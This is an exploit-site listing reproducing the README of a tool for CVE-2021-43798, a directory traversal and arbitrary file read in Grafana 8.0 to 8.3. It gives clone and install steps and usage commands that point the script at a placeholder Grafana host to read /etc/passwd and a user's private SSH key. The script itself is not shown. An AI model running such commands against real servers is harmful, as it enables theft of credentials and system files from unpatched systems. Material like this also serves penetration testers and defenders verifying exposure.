Sploitus

Exploit for CVE-2021-43798

kitploit · 2026-09-09

Exploit Code

MARKDOWN49 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WAGNERALVES-CVE-2021-43798
# CVE-2021-43798

Directory Traversal and Arbitrary File Read on Grafana

Authors:  
Wagner Alves - Red Team Analyst  


This exploit leverages Directory Traversal and Arbitrary File Read vulnerabilities in Grafana 8.0 - 8.3, allowing it to read files such as /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release, and other interesting files.

## Installation

root@kitploit:~
    
    
    git clone https://github.com/wagneralves/CVE-2021-43798.git
    cd CVE-2021-43798
    chmod +x ExploitGrafana.sh
    

## Usage

root@kitploit:~
    
    
    ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
    

![](https://assets.kitploit.com/production/public/readmes/34194/c9942b384173ded3fde6d474397b4def024b4be7ff563d9cf640a3e3f62cde72.png)

  


root@kitploit:~
    
    
    ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
    

![](https://assets.kitploit.com/production/public/readmes/34194/8db8e9c16a6b1e56cc33e7bd1842a8ebbdfd84f9c3c56f69ae6427afc3292b21.png)

  


root@kitploit:~
    
    
    ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa